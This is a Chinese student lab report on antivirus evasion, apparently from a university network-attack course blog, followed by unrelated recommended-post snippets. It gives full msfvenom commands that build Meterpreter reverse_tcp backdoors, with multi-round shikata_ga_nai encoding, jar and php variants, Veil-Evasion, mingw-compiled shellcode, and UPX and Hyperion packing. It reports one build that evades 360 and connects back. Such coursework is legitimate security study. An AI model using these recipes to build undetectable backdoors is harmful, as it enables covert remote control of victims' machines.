基础

AV厂商检测恶意软件的三种主流方式:

    1. 基于特征码的检测
    2. 启发式恶意软件检测
    3. 基于行为的恶意软件检测

实现免杀就是防止恶意软件被这是三种方式找到。具体手段为:

    1. 改变特征码
    2. 改变行为
    3. 非常规恶意软件

1.实践内容

首先把上一次实验中制作的后门20164313_backdoor.exe传至win10主机中,结果直接被360删了,影子都没:

添加信任。

再把恶意软件上传至virscan网站中扫描,结果如下:

好吧,把名字修改为DGX_backdoor.exe

果然,裸奔的后门还是很容易被查杀的(某些杀软真的菜的抠脚)。

1.1使用msf编码器编码

作为负责人还是给您们列出本次msf要使用的参数吧:

-a <arch> 设置目标的指令集架构,这里我们选择x86即可

-platform <platform> 设置目标平台,这里是windows,可以通过-l platforms选项查看msfvenom支持的所有平台

-p <payload> 设置攻击载荷,我们使用windows/meterpreter/reverse_tcp,可以通过-l payloads查看所有攻击载荷
-e <encoder> 指定编码器,我会组合使用不同的编码器,可以通过-l encoders查看所有编码器
-i <count> 指定编码迭代的次数
-f <format> 指定生成格式,可以是raw,exe,elf,jar,c语言的,python的,java的……,用-l formats查看所有支持的格式

作为负责人还是给你们列出本次的msf要使用的参数吧

我们尝试使用msf编码器对程序进行一次到多次的编码。

  • 输入msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai LHOST= -f exe > DGX_backdoor1.exe 进行一次编码,然后按照实验二的步骤将软件传至win主机中。

一次编码后没有啥实质改变,多骗了一个引擎。

  • 输入msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i   LHOST=192.168.198.139 LPORT=4343 -f exe > DGX_backdoor10.exe 进行10次编码。

结果还是一样,照样被查杀。

1.2使用msfvenom生成如jar、raw之类的其他文件

  • 输入msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i LHOST= -f jar > DGX_backdoorjava.jar ,生成java文件。

显示我的攻击载荷没有被生成。

输入 msfvenom -l payloads 查看攻击载荷。

随便选一个攻击载荷。

输入 msfvenom -a x86 --platform windows -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i LHOST= -f jar > DGX_backdoorjava.jar 生成jar文件。

。。。。。。。。。。。。。。。。。。。。好吧,我改名。

只有12%了!!!

  • 让我们再试试php格式,输入 msfvenom -a x86 --platform windows -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i LHOST= -f php > DGX_backdoorphp.php

警告我不正确的生成格式,好吧,那我们尝试一下raw的生成格式。

输入 msfvenom -a x86 --platform windows -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i LHOST= -f raw > DGX_backdoorphp.php

摔,警告我设置的目标平台与攻击载荷不兼容,得得得,我改。

输入 msfvenom -l platforms 查看msf支持目标平台。

输入 msfvenom -a x86 --platform php -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i LHOST= -f raw > DGX_backdoorphp.php

微笑,我看你就是故意刁难我!!!删了删了。

输入 msfvenom --platform php -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i LHOST= -f raw > DGX_backdoorphp.php

流下了激动的泪水。。。

emmm没问题才是最大的问题,据我的推测,应该是raw编码方式的问题,删了删了。

输入 msfvenom --platform php -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i LHOST= x > DGX_backdoorphp.php

难道说,php的文件都是无毒无公害的有机文件,我不信,试试裸奔的php!!!

输入 msfvenom -p php/meterpreter/reverse_tcp lhost= x> DGX_backdoorphp.php

哈哈哈!果然不是免检产品,可能这么低的报错率主要是php用的人比较少吧,导致很少有黑客开发这类型的后门。


1.3veil-evasion

1。安装veil-evasion,网上有教程因此不再演示。

2.输入 veil 进入veil工具,再输入 use evasion 。

3.输入 list 查看可生成文件格式,输入 use  选择C语言格式。

4.输入 set LHOST 192.168.1.176 设置反弹IP端口;

输入 设置反弹连接端口;

输入 generate  生成文件;

输入 du4313 设置playload的名字;

生成成功,按照地址找到文件

-

emmm,看来还是不能免杀。


1.4使用shellcode编程

1.输入 msfvenom -p windows/meterpreter/reverse_tcp LHOST= -f c 使用c语言生成shellcode

2.生成du4313.c执行文件

3.输入 i686-w64-mingw32-g++ du4313.c -o du4313.exe 生成可执行的后门程序。

迅速删除。。。


1.5 加壳工具

1.压缩壳

输入 upx du4313.exe -o du4313-upx.exe 给文件加壳

emmm坚持了5分钟360不报毒

网站报毒

2.加密壳Hyperion

将文件拷贝到/usr/share/windows-binaries/hyperion/目录中

输入 cd /usr/share/windows-binaries/hyperion/ 进入目录

输入 wine hyperion.exe -v du4313.exe du4313-hyperion.exe 生成加壳文件。

360报毒


1.6通过组合应用各种技术实现恶意代码免杀

1.使用msfvenom生成原始文件dgx-backdoor-v1.exe

2.使用msfvenom对攻击载荷多重编码,先用shikata_ga_nai编码20次,接着来10次alpha_upper编码,再来10次的countdown编码,生成可执行文件dgx-backdoor-v2.exe

3.生成shellcode

4.参考网站 https://www.freebuf.com/articles/system/100147.html 生成dgx-backdoor-v4

360扫描出v2和v3没能扫出v4。


1.7 用另一电脑实测,在杀软开启的情况下,可运行并回连成功


2.基础问题回答

(1)杀软是如何检测出恶意代码的?

答:AV厂商检测恶意软件的三种主流方式:

    1. 基于特征码的检测
    2. 启发式恶意软件检测
    3. 基于行为的恶意软件检测

(2)免杀是做什么?

答:通过特殊方法如加壳,编码,手工编写等方式使杀毒软件无法查杀。

(3)免杀的基本方法有哪些?

答:改变特征码、改变行为、加壳、手工修改等。


3.实践总结与体会

答:这次实验还是比以往的实验有难度也更有意思了,学习了各种免杀的方式,虽然对于实时更新的杀软企业来说还是很小儿科,但还是学到了很多东西。


4. 开启杀软能绝对防止电脑中恶意代码吗?

答:不能,世界上就没有绝对二字,杀软企业实时更新自己的病毒库,但是网络中病毒的数量也在每日递增,总会有漏洞出现,比如这次我使用的漏洞是2016年发现的,但是至今仍然没被修补。

Exp3 免杀原理与实践 20164313的更多相关文章

  1. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  2. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  3. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

  4. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  5. 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  6. 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践

    2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...

  7. 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

  8. 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...

  9. 2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践 一.实验说明 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),vei ...

随机推荐

  1. 2.7 while 、for 循环控制语句

    一.while语句: 在程序中,需要重复性的做某件事: 1.1.1 while: public class Test{ public static void main(String[] args){ ...

  2. 我的代码-unsupervised learning

    # coding: utf-8 # In[1]: import pandas as pdimport numpy as npfrom sklearn import treefrom sklearn.s ...

  3. Python3 与 Python2 的不同

    1. Python3中的字典,删除了has_key(key)的方法. Python2: if result.has_key(middle_s) != None result[middle_s] = 1 ...

  4. JS如何充分“压榨”浏览器

    不同浏览器厂商实现的 JS 标准有所不同,这意味着 window 对象和可用的 api 也有所不同,希望不久的将来,所有浏览器都能实现统一的 JS 标准. 自己写 api 是很耗费时间跟精力的,而且变 ...

  5. 简述iproute家族命令

    ifconfig 是用来查看.配置.启用或禁用网络接口的工具.可以用这个工具来临时配置网卡的IP地址.掩码.广播地址.网关等. 语法 ifconfig [interface] 参数 up 启动指定网络 ...

  6. 软件开发者路线图梗概&书摘chapter7

    软件工程是一门技艺 原因:理解不足以系统化 技能:为交付可以工作的软件 重要的原因:了解不足以将它写成可供别人直接运用并得到相同成果的格式 大多数程序员低于平均水平 工艺:一套高度重视技能的训练和传统 ...

  7. MongoDB连接

    1. import pymongo client = pymongo.MongoClient(host='localhost',port=27017) 2. client=MongoClient('m ...

  8. PythonStudy——生成器

    # 生成器:自定义的迭代器对象 # -- 就是用函数语法来声明生成器,用yield关键字取代return关键字来返回值,参数没有多少变化 # 总结:有yield关键字的函数,函数名() 不是调用函数, ...

  9. 左耳听风-ARTS-第2周(2019/3/31-2019/4/6)

    Algorithm 验证括号题(https://leetcode.com/problems/valid-parentheses/).这道题在极客时间上覃超的<算法面试通关40讲>(http ...

  10. Java泛型相关总结(上)

    最近在看<Java核心技术>泛型相关的部分,总结下. 泛型程序设计是什么? 泛型编程(generic programming)是计算机编程中的一种风格,类型通过参数指定.意味着编写的代码可 ...